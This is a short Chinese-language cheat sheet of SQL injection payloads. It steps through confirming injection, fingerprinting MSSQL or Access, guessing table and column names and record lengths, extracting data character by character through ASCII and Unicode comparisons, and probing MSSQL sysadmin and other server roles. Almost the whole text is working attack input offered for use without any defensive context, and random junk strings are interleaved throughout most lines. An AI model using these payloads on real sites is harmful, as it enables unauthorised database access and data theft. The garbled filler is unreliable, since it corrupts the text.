1.判断是否有注入;and 1=1 ;and 1=2 kB7vc>@1
2.初步判断是否是mssql ;and user>0 H?$dnwR
wj)LOA0
3.注入参数是字符'and [查询条件] and ''=' vB:\ZX4
IpP%WW u
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wwUI ;g
P"YdB|I
5.判断数据库系统 YW}$e W*
x.Sf B[SZ
;and (select count(*) from sysobjects)>0 mssql i'>6Qo
vgfC{]v<W]
;and (select count(*) from msysobjects)>0 access ^_7|b[Bt
oV|O`n
({f}Z-%
!`69.v
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9:j?Jvw$
Z%t_1t
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6FUW^dt
YEL0h0gn
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 })g<I+]Hf9
W5*ldXXk
9.(1)猜字段的ascii值(access) 5{c;I<0
%xt9k9=vZ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aukcO;oG<
c4JV~VS+
(2)猜字段的ascii值(mssql) --yF%tRMP
( }-*irSsj
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 @HT\Y%E
?=u?u
k<-
10.测试权限结构(mssql) 6g(;2gY
bLqy7S9x
agIqca;
DUp`zW;B
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- wk(25(1q
HJL! ;i
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,OE&e*1
|'^s3i&w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *PJH&g#Ge
OO:S2-]Y>e
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6'qkD<